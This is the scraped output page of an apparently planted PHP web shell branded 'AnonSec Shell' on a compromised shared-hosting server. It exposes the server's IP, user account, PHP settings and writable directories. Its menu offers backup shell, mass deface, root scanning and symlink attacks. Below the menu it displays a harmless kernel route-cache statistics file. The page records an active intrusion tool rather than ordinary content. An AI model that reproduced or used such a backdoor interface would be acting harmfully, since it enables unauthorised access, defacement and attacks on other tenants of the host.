. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 162.0.212.4  /  Your IP : 216.73.216.14   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium146.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : alshnoli ( 2431)
PHP Version : 8.3.28
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/net/stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/net/stat/rt_cache
entries  in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src  out_hit out_slow_tot out_slow_mc  gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search
000005fc  00000000 0020d762 00000000 0020d721 00000000 00000000 0000323b  00000000 1362fe68 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000069 00000000 00000028 00000005 00000000 000032f2  00000000 136fb2ea 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000003b 00000000 0000000c 00000000 00000000 000030c7  00000000 13710584 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000059 00000000 00000015 00000000 00000000 000031ad  00000000 136e3fdf 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000004e 00000000 0000003b 00000000 00000000 000004ea  00000000 13a18238 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000003a 00000000 00000013 00000000 00000000 000004ae  00000000 139c5bcf 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000025 00000000 0000000e 00000000 00000000 00000599  00000000 13a290d3 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000045 00000000 00000038 00000000 00000000 0000059e  00000000 1390e46e 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000005b 00000000 00000025 00000000 00000000 000034ae  00000000 1378d134 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000051 00000000 0000001e 00000000 00000000 0000304f  00000000 137df8c1 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000006f 00000000 0000000a 00000000 00000000 0000325a  00000000 13755887 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000063 00000000 00000011 00000000 00000000 00003afe  00000000 140eef96 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000051 00000000 0000000e 00000000 00000000 00003afc  00000000 137100d8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000062 00000000 00000021 00000000 00000000 00003dc7  00000000 1289a683 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000073 00000000 0000002a 00000000 00000000 000032d7  00000000 11ee8d45 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000004a 00000000 0000000f 00000000 00000000 00003264  00000000 1367c9bc 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000054 00000000 00000019 00000000 00000000 0000323f  00000000 135dfb70 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000005f 00000000 00000019 00000000 00000000 00003414  00000000 136b7a25 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000003d 00000000 0000000c 00000000 00000000 00003125  00000000 1363e788 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000045 00000000 00000010 00000000 00000000 000033c2  00000000 13698cdc 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000013 00000000 00000003 00000000 00000000 000007ef  00000000 1386c060 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000039 00000000 0000001e 00000000 00000000 0000045b  00000000 138553b1 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000075 00000000 00000051 00000000 00000000 00000685  00000000 1388654b 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000022 00000000 0000000b 00000000 00000000 0000071b  00000000 13839f3b 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000019 00000000 00000008 00000000 00000000 0000058c  00000000 13872b4e 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000007 00000000 00000000 00000000 00000000 000003e9  00000000 13793d14 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 00000023 00000000 0000000c 00000000 00000000 0000057e  00000000 137c2cdf 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000000b 00000000 00000001 00000000 00000000 0000041f  00000000 13784b14 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000000e 00000000 00000000 00000000 00000000 000004fc  00000000 1374c675 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000005fc  00000000 0000000b 00000000 00000001 00000000 00000000 000004b8  00000000 13392366 00000000 00000000 00000000 00000000 00000000 00000000 00000000 

Anon7 - 2022
AnonSec Team